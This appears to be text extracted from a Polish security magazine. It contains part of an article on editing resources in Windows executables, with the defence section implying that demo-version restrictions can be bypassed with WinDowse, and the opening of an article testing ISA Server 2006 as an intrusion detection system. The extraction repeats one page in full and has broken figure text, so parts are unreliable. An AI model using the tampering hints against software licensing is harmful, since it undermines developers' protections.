(np. wartości tablic) i zasoby. Zaso-

bami mogą być następujące rzeczy:

• bitmapy (np. logo programu),
• ikony (prawie każdy plik wykonywalny po-

siada swoją ikonę; program może posiadać
kilka ikon),

• niestandardowe kursory myszy,
• dłuższe łańcuchy znaków,
• okna dialogowe,
• menu,
• informacje o skrótach klawiaturowych,
• szczegółowe informacje o pliku (nazwa fir-

my, nazwa programu, wersja programu, in-
formacje o licencji, informacja o wersji języ-
kowej programu).

Edycja zasobów to bardzo ciekawe zagad-
nienie. Po pierwsze: można zmienić wygląd
ulubionego programu (np. podmienić grafi-
ki, pozmieniać wygląd formularzy i menu,
a także zmienić skróty klawiaturowe). Dru-
gie interesujące zastosowanie to możliwość
wyciągnięcia np. ikon lub grafik z dowolnego
pliku wykonywalnego.

Niestety, nie wszystkie pliki wykonywalne posia-
dają sporo zasobów. Przykładowo, kiedy napi-
szemy program w języku Visual Basic, zobaczy-
my, że formularze, menu i bitmapy nie są zapisy-
wane jako zasoby – możliwości edycyjne takich
plików wykonywalnych są więc mniejsze.

Uwaga! Przed edycją jakiegokolwiek pliku

wykonaj jego kopię zapasową!
Zanim zaczniesz edytować pliki, musisz się
upewnić, czy nie są skompresowane, gdyż
w skompresowanych plikach EXE zazwyczaj

Edycja zasobów w plikach

wykonywalnych

Damian Daszkiewicz

stopień trudności

W artykule Luki w plikach wykonywalnych (hakin9 11/2007)

opisano, w jaki sposób modyfikować pliki wykonywalne

za pomocą edytora plików binarnych. Jednak taki edytor nie

pozwala na edytowanie bitmap, kursorów ani okien dialogowych.

Z pomocą przychodzą programy pozwalające edytować zasoby

w plikach wykonywalnych.

Z artykułu dowiesz się

• jak przeglądać, eksportować i edytować zasoby

w plikach wykonywalnych,

• jak zmieniać właściwości kontrolek w urucho-

mionych programach,

• jak zabezpieczyć się przed grzebaniem w pli-

kach wykonywalnych.

Co powinieneś wiedzieć

• znać podstawy dowolnego języka programowa-

nia,

• znać podstawy WinAPI.

background image

Edycja zasobów w plikach wykonywalnych

hakin9 Nr 2/2008

www.hakin9.org

39

zasoby są spakowane. Jeśli plik jest
skompresowany, to należy go rozpa-
kować. Najpopularniejszym progra-
mem do kompresji plików wykony-
walnych jest darmowy program UPX.
Aby rozpakować dany plik, skompre-
sowany programem UPX, należy
z linii komend wpisać polecenie

upx

<nazwa pliku> -d

Przegląd zasobów za

pomocą Resource Hacker

Aplikacja Resource Hacker to najpo-
pularniejszy program do przegląda-
nia i edytowania zasobów znajdują-
cych się w plikach wykonywalnych.
Resource Hacker obsługuje 32-bito-
we pliki wykonywalne przeznaczone
dla systemu operacyjnego Windows
95 (i nowszych). Niestety, Resour-
ce Hacker nie obsługuje 16-bitowych
plików wykonywalnych (czyli dla DO-
Sa i Windows 3.x). Jeśli chcesz edy-
tować zasoby w 16-bitowych plikach
wykonywalnych przeznaczonych dla
Windows 3.x, musisz zaopatrzyć się
w program eXeScope, który jest ko-
mercyjny i posiada mniejsze możli-
wości niż Resource Hacker.

Edycja ikon, kursorów i

bitmap

Otwórz w programie Resource Hac-
ker dowolny plik wykonywalny. Wy-
gląd aplikacji przedstawia Rysunek 1.
Po lewej stronie znajduje się drze-
wo, w którym są wypisane wszystkie
zasoby znajdujące się w pliku wyko-
nywalnym, podzielone na kategorie
według typów. Przykładowo rozwi-
jając gałąź Icon możesz przeglądać
wszystkie ikony. Jeśli dana ikona się
Tobie spodoba, to możesz ją wyeks-
portować do pliku w formacie ICO
– w tym celu należy wybrać następu-
jącą pozycję z menu: Action->Save
[Icon : 1 : 1045]
(w zależności od te-

go, jaki plik binarny otworzyłeś i któ-
rą ikonę wybrałeś, liczby mogą być
inne). W podobny sposób można za-
pisać bitmapy i kursory.

Jeśli któraś ikona nie podoba się

Tobie, możesz ją zmienić. W tym ce-
lu należy z menu wybrać następują-
cą pozycję: Action->Replace Icon,
a następnie wskazać na dysku do-
wolny plik ICO.

Edycja menu

Listing 1. przedstawia przykładowy
kod, w którym jest zapisane menu.
Z pozoru edycja menu nie wydaje się
zbyt interesująca, jest w niej jednak
pewien niuans. Otóż w prawie każ-
dej pozycji występuje znak &. Znak
ten oznacza, że następna litera w me-
nu jest podkreślona. Jeśli w danym
programie w menu Edycja jest pod-
kreślona litera E, to można owo me-
nu rozwinąć naciskając kombinację
klawiszy ALT+E. Jest to bardzo przy-
datna funkcjonalność, gdyż bez po-
trzeby korzystania z myszy można wy-
brać z menu dowolną pozycję. Załóż-
my, że posiadasz program, w którym
kombinacja ALT+E rozwija inne me-
nu niż Edycja. Można to zmienić ko-
rzystając z programu Resource Hac-
ker. W tym celu należy w odpowied-
niej pozycji menu przed żądaną literą
wstawić znak &. Po dokonaniu zmian
należy w programie Resource Hac-

ker kliknąć przycisk Compile Script.
Dopiero ta czynność spowoduje za-
pisanie naszych modyfikacji. W ten
sposób można w dowolnej aplikacji
ustawić skróty klawiaturowe według
własnych potrzeb.

Edycja okien dialogowych

Program Resource Hacker pozwa-
la na edytowanie okien dialogowych.
Po rozwinięciu gałęzi Dialog można
przeglądać i edytować okna dialo-
gowe. Po wybraniu dowolnego okna
dialogowego oprócz kodu, jaki jest
potrzebny do jego stworzenia, pojawi
się również wygląd owego okna dia-
logowego (przykład takiego podglą-
du przedstawia Rysunek 2). Można w
dowolny sposób przemieszczać kon-
trolki, zmieniać ich rozmiar (można

Listing 1.

Przykładowe menu zapisane w pliku wykonywalnym

106

MENU

LANGUAGE

LANG_POLISH

,

0x1

{

POPUP

"&Edycja"

{

MENUITEM

"&Kopiuj

\t

Ctrl+C"

,

300

MENUITEM

"Wkl&ej

\t

Ctrl+V"

,

301

}

POPUP

"&Widok"

{

MENUITEM

"&Standardowy"

,

305

MENUITEM

"&Naukowy"

,

304

MENUITEM

SEPARATOR

MENUITEM

"&Grupowanie cyfr"

,

303

}

POPUP

"Pomo&c"

{

MENUITEM

"&Tematy Pomocy "

,

317

MENUITEM

SEPARATOR

MENUITEM

"Kalkulator - i&nformacje"

,

302

}
}

Rysunek 1.

Wygląd programu

Resource Hacker

Rysunek 2.

Przykładowe okno

dialogowe w Resource Hacker

background image

Edycja zasobów w plikach wykonywalnych

hakin9 Nr 2/2008

www.hakin9.org

41

na zakładce Digger możemy obej-
rzeć wszystkie aktualnie uruchomio-
ne okna dialogowe. Zakładka Tree
pokazuje zaś informacje o wszyst-
kich oknach dialogowych w formie
drzewa – również o tym, z jakich kon-
trolek składa się konkretne okienko.

Jak się przed tym

bronić?

Pisząc program musisz przewidzieć,
że użytkownicy mogą edytować za-
soby w pliku wykonywalnym. Jeśli
chcesz się przed tym obronić, pole-
cam skompresowanie pliku dowolnym
programem (najlepiej jakimś mniej po-

pularnym, wtedy utrudnione będzie
znalezienie programu do dekompre-
sji). Ewentualnie można skorzystać
z płatnego programu AsProtect.

Jeśli napisałeś program, który

w wersji demonstracyjnej różni się od
pełnej wersji tym, że przycisk do za-
pisania projektu stworzonego przez
użytkownika jest nieaktywny, musisz
przemyśleć jakiś mechanizm ochrony
przed programem WinDowse. Przy-
kładowo sprawdzenie faktu rejestra-
cji programu podczas uruchamiania
i późniejsza deaktywacja przycisku
Zapisz projekt jeśli aplikacja nie jest
zarejestrowana, nie będzie w tym
wypadku wystarczające. Dodatkowa
kontrola powinna mieć miejsce w mo-
mencie, gdy użytkownik kliknie przy-
cisk Zapisz projekt – kiedy program
jest w wersji demonstracyjnej, powi-
nien pojawić się komunikat, że dana
opcja jest dostępna tylko w wersji za-
rejestrowanej.

Podsumowanie

Edytując pliki wykonywalne za pomo-
cą programu Resource Hacker, moż-

na się dowiedzieć wielu interesujących
rzeczy związanych z ich budową. Na-
byte umiejętności mogą się przydać
podczas pisania własnych programów
np. w MASMie lub w Visual C++. Nato-
miast program WinDowse pozwoli do-
wiedzieć się, w jaki sposób okna dia-
logowe i kontrolki są traktowane przez
system operacyjny. l

O autorze

Damian Daszkiewicz jest samoukiem
od wielu lat interesującym się informa-
tyką i e-biznesem. Obecnie studiuje
na Politechnice Rzeszowskiej na kie-
runku Informatyka. W roku 2003 wy-
dawnictwo Helion wydało jego książ-
kę: Vademecum hakera. Edycja pli-
ków binarnych. Kontakt z autorem:
damian@daszkiewicz.net.

Rysunek 4.

Program WinDowse

R

E

K

L

A

M

A

background image

Edycja zasobów w plikach wykonywalnych

hakin9 Nr 2/2008

www.hakin9.org

41

na zakładce Digger możemy obej-
rzeć wszystkie aktualnie uruchomio-
ne okna dialogowe. Zakładka Tree
pokazuje zaś informacje o wszyst-
kich oknach dialogowych w formie
drzewa – również o tym, z jakich kon-
trolek składa się konkretne okienko.

Jak się przed tym

bronić?

Pisząc program musisz przewidzieć,
że użytkownicy mogą edytować za-
soby w pliku wykonywalnym. Jeśli
chcesz się przed tym obronić, pole-
cam skompresowanie pliku dowolnym
programem (najlepiej jakimś mniej po-

pularnym, wtedy utrudnione będzie
znalezienie programu do dekompre-
sji). Ewentualnie można skorzystać
z płatnego programu AsProtect.

Jeśli napisałeś program, który

w wersji demonstracyjnej różni się od
pełnej wersji tym, że przycisk do za-
pisania projektu stworzonego przez
użytkownika jest nieaktywny, musisz
przemyśleć jakiś mechanizm ochrony
przed programem WinDowse. Przy-
kładowo sprawdzenie faktu rejestra-
cji programu podczas uruchamiania
i późniejsza deaktywacja przycisku
Zapisz projekt jeśli aplikacja nie jest
zarejestrowana, nie będzie w tym
wypadku wystarczające. Dodatkowa
kontrola powinna mieć miejsce w mo-
mencie, gdy użytkownik kliknie przy-
cisk Zapisz projekt – kiedy program
jest w wersji demonstracyjnej, powi-
nien pojawić się komunikat, że dana
opcja jest dostępna tylko w wersji za-
rejestrowanej.

Podsumowanie

Edytując pliki wykonywalne za pomo-
cą programu Resource Hacker, moż-

na się dowiedzieć wielu interesujących
rzeczy związanych z ich budową. Na-
byte umiejętności mogą się przydać
podczas pisania własnych programów
np. w MASMie lub w Visual C++. Nato-
miast program WinDowse pozwoli do-
wiedzieć się, w jaki sposób okna dia-
logowe i kontrolki są traktowane przez
system operacyjny. l

O autorze

Damian Daszkiewicz jest samoukiem
od wielu lat interesującym się informa-
tyką i e-biznesem. Obecnie studiuje
na Politechnice Rzeszowskiej na kie-
runku Informatyka. W roku 2003 wy-
dawnictwo Helion wydało jego książ-
kę: Vademecum hakera. Edycja pli-
ków binarnych. Kontakt z autorem:
damian@daszkiewicz.net.

Rysunek 4.

Program WinDowse

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 2/2008

42

Obrona

S

ystemy wykrywania włamań (ang. In-
trusion Detection Systems
) wspoma-
gają monitorowanie naruszeń bezpie-

czeństwa. Zwykle stosuje się je wraz z zapora-
mi sieciowymi. Ich działanie opiera się w głów-
nej mierze na wykrywaniu nieprawidłowości
zarówno w sieci, jak i na pojedynczych kom-
puterach.

System IDS często zlokalizowany jest w

miejscu, gdzie generowany jest największy
ruch sieciowy lub też na komputerze, któ-
ry przechowuje ważne dane. Celem syste-
mów IDS jest identyfikacja działań zagra-
żających bezpieczeństwu sieci, a co za tym
idzie – systemów i przetwarzanych przez nie
danych. Za zdarzenia, które powinien wykryć
IDS, uważa się zarówno przygotowania do
włamania (np. skanowanie portów, weryfika-
cja istnienia krytycznych aplikacji), jak i pró-
by ataku, także nieudane. Wykrywanie naru-
szeń realizowane jest przez tzw. sondy (sen-
sory), które zbierają informacje o stanie sieci
i poszczególnych komputerach. Sondy to nic
innego, jak dedykowane rozwiązania sprzę-
towe lub programowe, monitorujące sieć
(ang. Network–based Intrusion Detection
System
) lub komputer (ang. Host–based In-

trusion Detection System). Obecne technolo-
gie pozwalają na połączenie systemów NIDS
i HIDS w system hybrydowy, który posiada
odrębny moduł zarządzania sondami. Należy
nadmienić, że umiejscowienie w sieci syste-

Nowa generacja IDS, czyli

ISA Server 2006 w testach

Paulina Januszkiewicz

stopień trudności

Dedykowane systemy wykrywania włamań są w stanie

– w większości przypadków – rozpoznać atak w sposób

kontekstowy, czyli poprzez buforowanie pakietów, które stają się

niebezpieczne dopiero, kiedy utworzą określoną grupę. Microsoft

ISA Server 2006 ma dość ograniczony moduł wykrywania takich

zachowań, jednak niezależnie od tego posiada rozbudowany

moduł filtrowania pakietów, co w efekcie uniemożliwia atak.

Z artykułu dowiesz się

• w jaki sposób ISA Server reaguje na poszcze-

gólne zagrożenia

• w jaki sposób administrator informowany jest

o wystąpieniu zdarzeń

• czy ISA Server 2006 sprawdza się jako system

wykrywania włamań

• w jaki sposób ISA Server reaguje na anomalia

ruchu sieciowego

Co powienenieś wiedzieć

• model OSI/ISO
• przyporządkowanie protokołów komunikacyj-

nych do warstw modelu OSI/ISO

• zasady działania systemów wykrywania wła-

mań

• na czym polegają ataki wymienione w artykule
• znać różnicę pomiędzy systemem firewall

a systemem wykrywania włamań

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

43

mów HIDS i NNIDS nie jest kłopo-
tliwe, gdyż znajdują się one na wy-
branych maszynach, wybór lokacji
dla NIDS jest za to ściśle związany
z budową infrastruktury sieciowej
przedsiębiorstwa i zwykle jest trud-
ny do zrealizowania, gdyż w sie-
ci zazwyczaj nie istnieją miejsca,
w których sonda miałaby dostęp do
całego ruchu sieciowego. Należy
pamiętać, że systemy IDS nie za-
wsze wykrywają ataki prawidłowo
– zdarza się, że alarm jest fałszywy
(tzw. false positives) lub nie został
po prostu wygenerowany.

Z punktu widzenia zarządzania

bezpieczeństwem, takie sytuacje są
poważnym problemem, gdyż w kon-
sekwencji, w trakcie eksploatacji za-
bezpieczeń prawdziwe ataki mogą
zostać po prostu przez administra-
torów niezauważone. W wielu przy-
padkach w celu odróżnienia ataku
od prawidłowego zachowania należy
skorzystać z alternatywnego rozwią-
zania o podobnym działaniu.

W dzisiejszych czasach syste-

my wykrywania włamań rozwijają
się bardzo dynamicznie. Producen-
ci systemów prześcigają się w two-
rzeniu coraz to nowocześniejszych

funkcji mających poprawić bezpie-
czeństwo sieci i polepszyć monito-
rowanie jego naruszeń. Niektórzy z

nich dodają do systemów IDS me-
chanizmy dynamicznej rekonfigu-
racji zapór ogniowych, tworząc za-
awansowane systemy zapobiegania
włamaniom, jakim jest na przykład
ISA Server. Testy przeprowadzone
w tym artykule miały wykazać, czy
ISA Server dobrze wykrywa ataki,
a nie pokazywać, w jaki sposób na
nie reaguje.

ISA 2006 – firewall

warstwy aplikacji

Microsoft Internet Security and Ac-
celeration
(ISA) Server 2006 jest za-
awansowanym rozwiązaniem z dzie-
dziny bezpieczeństwa, integrują-
cym w sobie wiele modułów: zaporę
ogniową, moduł obsługujący wirtual-
ne sieci prywatne (VPN), buforowa-
nie treści webowych, system wykry-
wania włamań (IDS). Do podstawo-
wych cech ISA należą: zapewnianie
zaawansowanej ochrony, łatwość
użycia oraz możliwość zapewnienia
szybkiego i bezpiecznego dostępu
do Internetu. Zaawansowana ochro-
na obejmuje zapobieganie atakom
nowej generacji poprzez konteksto-

Rysunek 1.

ISA Server 2006 jako zapora ogniowa warstwy aplikacji

���������

���������

���������

��������

���������

����������

�����������

�����������

����������

���������������

���������������

��������������

�������������

��������������

�������������

�������������


����

���������

Rysunek 2.

Przeglądanie alarmów na tablicy rozdzielczej

Dobre systemy IDS rozpoznają ataki wykorzystując

trzy podstawowe techniki

Sygnatury – stosowane są do porównywania zaistniałych zdarzeń z predefinio-
wanym wzorcem. Wzorce korzystają z tzw. wyrażeń regularnych (ang. regular
expressions
), pakiety sprawdzane są pod kątem wystąpienia określonego ciągu
znaków. Istotną kwestią jest aktualizacja sygnatur, często bowiem powstają no-
we ataki, które mogłyby nie zostać przez IDS wykryte; wzorce można także de-
finiować samemu.

Badanie częstości wystąpienia określonych zdarzeń – dotyczy głównie ataków ty-

pu DoS (ang. Denial of Service), gdzie przekraczane są limity ilości wystąpień zdarze-
nia w określonej jednostce czasu. IDS powinien mieć także możliwość wykrycia nie-
udanych prób uwierzytelniania się, powinien jednak uwzględniać pewien próg toleran-
cji, w obrębie którego wystąpienie kilku nieudanych prób nie będzie uważane za za-
grożenie.

Badanie anomalii statystycznych – wyznaczane są limity dla parametrów siecio-

wych charakterystycznych dla danej sieci. Przykładem może być odstępstwo rozmia-
rów pakietów IP od średnich rozmiarów zaobserwowanych w sieci lub liczba nowo na-
wiązanych połączeń w określonej jednostce czasu. Statystyki prowadzi się nie tylko
ze względu na bezpieczeństwo, ale także po to, aby zapewnić dobrą jakość komunika-
cji sieciowej. Systemy IDS zwykle uczą się profilu danej sieci. Ważne jest, aby system
nauczył się danych statystycznych wynikających z określonej pory dnia, np. wzmożo-
ny ruch sieciowy zaraz po godzinie rozpoczęcia pracy nie może być traktowany jako
zagrożenie. Stan bieżący ruchu porównywany jest z powstałym w systemie IDS pro-
filem sieci. Jeśli wystąpią znaczne odstępstwa od zapamiętanych statystyk, to gene-
rowany jest alarm.

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

44

we filtrowanie pakietów z pamięcią
stanu (ang. stateful packet filtering)
oraz mechanizm circuit filtering.

Stanowe filtrowanie pakietów

wspomaga podejmowanie decy-
zji, które z nich mogą zostać prze-
puszczone przez zabezpieczony
obwód sieciowy oraz usługi Proxy
(warstwa 7). Porty, gdy nie są uży-
wane, zostają zamknięte, otwiera
się je wtedy, gdy zachodzi taka po-
trzeba. Ochrona warstwy połączeń
(ang. circuit-layer security) oraz fil-
trowanie w tej warstwie pozwalają
na tworzenie niewidocznych dla apli-
kacji bram do sieci, umożliwiając do-
stęp z różnych platform, np. RealAu-
dio czy Windows Media. Filtrowanie
to współpracuje z filtrowaniem dy-
namicznym. Oprócz tego kontrolo-
wany jest ruch specyficzny dla kon-
kretnych aplikacji – do tego celu rów-
nież wykorzystywane są filtry: VPN,
HTTP, DNS, POP3, RPC oraz inne,
dowolnie modyfikowalne, które wa-
runkują to, czy ISA przepuści wybra-
ny pakiet, czy nie.

W ISA Server 2006 większość

czynności administracyjnych wy-
konywana jest przy wykorzysta-
niu szablonów sieci, zautomaty-
zowanych kreatorów, wizualnego
edytora reguł. Istnieje także moż-
liwość wyeksportowania konfigu-
racji do formatu XML. Bardzo do-
brym rozwiązaniem jest możliwość
połączenia restrykcji narzucanych
przez ISA Server 2006 z ADAM
(Active Directory Access Manage-

ment). Monitorowanie odbywa się
w czasie rzeczywistym – umożli-
wia to kontrolowanie stanu sieci na
bieżąco. Administrator ISA Server
2006 może także skonfigurować
obsługę trybu tunelowania zgodnie
z IPSec dla połączeń wirtualnych
sieci prywatnych pomiędzy odległy-
mi od siebie ośrodkami.

ISA Server 2006, jako komplek-

sowe rozwiązanie z dziedziny bez-
pieczeństwa, został wyposażony
w następujące funkcje:

• ochrona sieci przy wykorzystaniu

zapory działającej w wielu war-
stwach, przezroczystość zapory
oraz kontrola dostępu na podsta-
wie reguł,

• filtrowanie i kontrola z pamię-

cią stanu (stateful inspection)
oraz zaawansowane filtrowanie
w warstwie aplikacji,

• wykrywanie włamań oraz two-

rzenie związanych z tym dzienni-
ków, raportowanie, alarmowanie,

• możliwość bezpiecznego publi-

kowania serwerów na zewnętrz-
nych interfejsach,

• wbudowany moduł do obsłu-

gi wirtualnych sieci prywatnych
(VPN),

• buforowanie treści webowych

oraz możliwość utworzenia har-
monogramu dla buforowania,

• integracja z usługą Active Direc-

tory,

• zdalne zarządzanie.

Dostęp do tych wszystkich funk-
cji uzyskuje się przy wykorzysta-
niu konsoli zarządzającej (ang. ISA
Server Management console
). ISA
Server jest oprogramowaniem, któ-
re spełnia wymagania warstwy apli-
kacji modelu OSI/ISO. Produkt ten
ma nie tylko możliwość określania,
czy pakiety przychodzące z sieci
pochodzą od źródła, z którego ruch
został dopuszczony do transmisji
oraz czy można je przepuścić, ale
także jest w stanie analizować ich
zawartość, aby sprawdzić, czy nie
zawierają ukrytych złośliwych infor-
macji. Na Rysunku 1. została przed-
stawiona architektura rozwiązania
ISA, jako zapory warstwy 7.

Rozwiązanie ISA Server może

także działać jako serwer Proxy po-
prawiając użytkownikom jakość do-
stępu do Internetu. Poprzez skon-
figurowanie reguł zapory ogniowej
można zezwalać (lub zabraniać) na
określony ruch w sieci, np. zabronić

Rysunek 3.

Konfiguracja

wykrywania ataku Ping of Death

Rysunek 4.

Przykład raportu zawierającego wszystkie dostępne informacje

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

45

poszczególnym użytkownikom lub
komputerom dostępu do określonej
zawartości sieci Web. W wersji En-
terprise ISA Server można definio-
wać reguły dotyczące innych serwe-
rów ISA, dzięki czemu powstaje śro-
dowisko sieciowe, w którym serwe-
ry ISA na podstawie wbudowanych
algorytmów obsługują przeciążenia
ruchu. Będąc zaporą, ISA znajduje
się na styku sieci wewnętrznej i Inter-
netu. Zapora chroni sieć wewnętrzną
przed atakami z zewnątrz, ale mo-
że także chronić ruch wewnątrz sie-
ci. Funkcje serwera, takie jak ochro-
na publikowania i filtrowanie pa-
kietów, obwodów i warstwy aplika-
cji są tematem na odrębny artykuł
i nie zostaną omówione tym razem.
Funkcja wykrywania intruzów pole-
ga na rejestrowaniu następujących
ataków: skanowanie portów (ogólne
i wyliczane), połowiczny atak skano-
wania IP, ataki SYN/LAND, Ping of
Death
, UDP bombing oraz ataki w
systemie Out of Band. Panel admi-
nistracyjny umożliwia przeglądanie
alarmów wywołanych tymi atakami.
Oprócz tego wykrywane są ataki na
DNS oraz POP3.

Środowisko pracy

ISA Server 2006 posiada trzy inter-
fejsy: Internal, External i DMZ – taką
konfigurację nazywa się trójobwo-
dową zaporą graniczną (ang. 3-leg
perimeter). Rozwiązanie ISA umoż-
liwia utworzenie początkowych
reguł poprzez zaznaczenie schema-
tu sieci, w jakiej reguły będą two-
rzone. Internal Network to sieć we-
wnętrzna, External Network – ze-

wnętrzna (czyli Internet), wreszcie
Perimeter Network to strefa zdemili-
taryzowana, czyli DMZ. Z kolei VPN
Clients Network to sieć klientów
wirtualnych sieci prywatnych. Sieć
wewnętrzna jest siecią, której do-
myślnie ISA ufa. Oczywiście jest
to zasada ograniczonego zaufania
i aktywne są tylko te reguły, które
do funkcjonowania danej sieci są
potrzebne. Przykładem może być
protokół LDAP, który domyślnie jest
dozwolony. Serwer dc.iscg.local jest
kontrolerem domeny oraz serwerem
DNS, ISA jest ustawiona jako prze-
kaźnik DNS
(ang. DNS forwarder)
i przekazuje zapytania DNS do dal-
szych segmentów sieci. Na kon-
trolerze domeny działa także SQL
Server 2005, do którego odwołu-
je się serwer WWW (Uwaga! Nie
jest to dobra praktyka administracji
bezpieczeństwem!). Uwierzytelnia-
nie może być zarówno zintegrowa-
ne, jak i wbudowane SQL – z punk-
tu widzenia tego artykułu nie jest to
istotne. Sieć wewnętrzna w rozwią-
zaniu ISA nazywana jest Secure-
NAT – dlatego, że w sieciach, które
mają do dyspozycji tylko jeden ze-
wnętrzny numer IP, ISA działa jako
NAT. Dla sieci SecureNAT dostoso-
wane są filtry w warstwie aplikacji
posiadające funkcje np. zarządza-
nia połączeniami czy obsługę pro-
tokołów – jak wymieniony wcze-
śniej LDAP. Wszystkie komputery
w sieci lokalnej mają wtedy ustawio-
ny serwer ISA jako bramę. W przy-
padku routera w sieci wewnętrznej
sytuacja wygląda tak samo – po pro-
stu jest on skonfigurowany tak, aby

przepuszczać pakiety z sieci we-
wnętrznej na wewnętrzny interfejs
ISA Server. Oprócz klientów trans-
latora SecureNAT ISA Server 2006
obsługuje pozostałe dwa typy klien-
tów: klientów zapory i klientów ser-
wera Proxy sieci Web. Klienci za-
pory, w przeciwieństwie do Secu-
reNAT, mają zainstalowane i włą-
czone oprogramowanie klienta
zapory. Żądania zasobów przesy-
łane są do ISA, gdzie przeprowa-
dzane jest sprawdzenie uprawnień,
a następnie weryfikacja danych przy
wspomnianych już filtrach aplikacji.
W przypadku Web Proxy, klienci
mają skonfigurowane przeglądar-
ki tak, aby wskazywały na ISA ja-
ko na serwer Proxy. Klienci, żądając
dostępu do zasobów internetowych,
wysyłają zapytanie do ISA, następ-
nie zasób jest udostępniany (lub nie)
z bufora. Dotyczy to oczywiście pro-
tokołów HTTP/S oraz FTP.

Ruch przychodzący z sieci ze-

wnętrznej analizowany jest dopie-
ro na końcu – w warstwie aplika-
cji. Dzieje się tak dlatego, aby wy-
kluczyć przedostanie się do wnę-
trza sieci ataków, które nie obejmują
warstwy aplikacji, np. SYN Flooding.
Na potrzeby artykułu na tym inter-
fejsie opublikowany został serwer
WWW (IIS 6.0). Aby udostępniona
witryna działała prawidłowo, wraz
z funkcjami, które oferuje, należało
w regułach zapory zezwolić na ruch
HTTP na porcie 80. Należało także
poprawnie skonfigurować serwer IIS
i dodać nowy element do puli aplika-
cji (ang. application pool) oraz usta-
wić odpowiednie uprawnienia do wi-
tryny. Z sieci zewnętrznej przeprowa-
dzona została seria ataków spraw-
dzająca działanie systemu IDS
na serwerze ISA.

W sieci DMZ, zwanej także Pe-

rimeter Network, znajdują się ser-
wery, które świadczą usługi zarów-
no dla sieci wewnętrznej, jak i ze-
wnętrznej. Znajduje się tam serwer
FTP (tylko dla klientów SecureNAT),
jak i serwer WWW, który udostęp-
nia swe usługi w Internecie – opubli-
kowany na zewnętrznym interfejsie
ISA. Komputery tej strefy należą do
domeny iscg.local.

Rysunek 5.

Alarm wywołany przez skanowanie portów o numerach 1-2048

Rysunek 6.

Alarm wywołany przez skanowanie wszystkich portów

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

46

Kategoria wirtualnych sieci pry-

watnych VPN istnieje niezależnie od
ilości interfejsów, jakie posiada ISA.
Wirtualne sieci prywatne umożliwia-
ją tworzenie chronionych połączeń,
które realizowane są poprzez sie-
ci niezaufane – np. Internet – po-
między klientem a siecią prywatną
lub pomiędzy oddzielnymi, odda-
lonymi od siebie lokacjami. W ce-
lu nawiązania połączenia wykorzy-
stywany jest protokół PPTP/MMTP
lub L2TP/IPSec, a do uwierzytel-
niania PAP, SPAP, CHAP, MSCHAP,
MSCHAPv2, EAP-TLS. W ustawie-
niach VPN na serwerze ISA funkcja
Enable Client VPN Access jest włą-
czona i klienci zewnętrzni mogą łą-
czyć się z siecią prywatną. Reguły
zapory również zezwalają na takie
połączenia.

Monitorowanie

Monitorowanie jest podstawową
funkcją wykorzystywaną w niniej-
szych testach. Sprawna administra-
cja ISA Server 2006 związana jest z
możliwością sprawdzania sesji użyt-
kownika, alarmów, zdarzeń czy da-
nych przesyłanych przez sieć. Bar-
dzo pomocna okazała się admini-
stracyjna tablica rozdzielcza (ang.
dashboard), w której zebrane zosta-
ły informacje o połączeniach, alar-
mach, usługach, sesjach, raportach
i stanie systemu. Funkcjonalność ta
umożliwia przeglądanie aktualnych

statystyk każdego z wymienionych
elementów. Tablicę można dostoso-
wywać do swoich potrzeb, minimali-
zując niepotrzebne części okna. Cie-
kawą opcją jest monitorowanie wy-
dajności systemu (ang. system per-
formance
), gdzie wyświetlana jest
liczba pakietów przepuszczonych
i odrzuconych przez zaporę, (ang.
Allowed Packets/Sec, Dropped
Packets/Sec
). Bardziej rozbudowa-
ny tryb monitorowania systemu udo-
stępniony jest w programie ISA Se-
rver Performance Monitor.

Konfigurowanie

i przeglądanie alarmów

Alarmy są aktywną metodą oce-
ny bezpieczeństwa zarówno same-
go serwera ISA, jak i całej sieci, któ-
rą ten serwer chroni. Dostarczają in-
formacji o różnego rodzaju zdarze-
niach, np. atakach, błędach konfi-
guracyjnych, niskiej przepustowo-

ści. Poniżej przedstawiony jest frag-
ment dotyczący alarmów z tablicy
rozdzielczej:

W przeprowadzanych testach

każdorazowo konfigurowane były
alarmy, zdefiniowane pod konkretny
atak. Większość alarmów jest wbu-
dowana w ISA Server 2006, istnie-
ją jednak ataki wymagające ścisłe-
go określenia ich parametrów. Brak
zdefiniowanego alarmu nie oznacza,
że atak ma szanse się powieść. Nie
zostanie jedynie rozpoznany przez
serwer, ale jego właściwości pozwo-
lą go sklasyfikować jako ruch, któ-
ry nie może zostać przepuszczony.
Konfigurując alarm należy wybrać
opcję Configure Alert Definitions z
tablicy rozdzielczej i ustawić para-
metry alarmu na zakładkach: Ge-
neral
(Ogólne), Events (Zdarzenia),
Actions (Czynności). Na zakładce
Ogólne można włączyć alarm i skon-
figurować jego podstawowe parame-
try, Zdarzenia definiują np. ile razy
dane zdarzenie ma się powtórzyć,
aby alarm był wywołany. Czynno-
ści to nic innego jak powiadamianie
o zdarzeniach na pięć różnych spo-
sobów: wysłanie wiadomości e-ma-
il, uruchomienie programu, zapis do
Dziennika Zdarzeń, uruchomienie
usługi, zatrzymanie usługi.

Reguły ISA Server 2004/2006

Reguły zapory ogniowej obejmują trzy typy reguł: dostępu, publikowania sieci Web
oraz publikowania serwera i definiują, w jaki sposób (i czy w ogóle) określony ruch
ma być przesyłany. Oprócz reguł definiowalnych istnieje także tzw. ostatnia reguła
domyślna (ang. Last Default Rule), która zabrania jakiegokolwiek ruchu o dowolnej
porze. Poniżej przedstawione zostały ustawienia zapory ogniowej przy wykonywa-
niu testów penetracyjnych. Reguły podczas wykonywania testów się zmieniały, po-
wstawały nowe, część była wyłączana.

Reguły sieci definiują, czy ruch między zdefiniowanymi sieciami jest przezna-

czony do routowania, czy do translacji adresów (ang. Network Address Translation).
W przypadku, gdy zależności nie istnieją, między segmentami sieci nie ma komu-
nikacji. Reguły sieci są przetwarzane przez program ISA Server 2006 w pierwszej
kolejności. Reguły te podczas przeprowadzania testów penetracyjnych wygląda-
ły następująco.

Reguły systemu nie były zmieniane podczas wykonywania testów. Stanowią

one zbiór 30 predefiniowanych reguł, które umożliwiają korzystanie z usług potrzeb-
nych do prawidłowego funkcjonowania środowiska sieciowego. Określają, w jaki
sposób ruch ma być przesyłany z ISA Server 2006 do innych komputerów lub sieci.
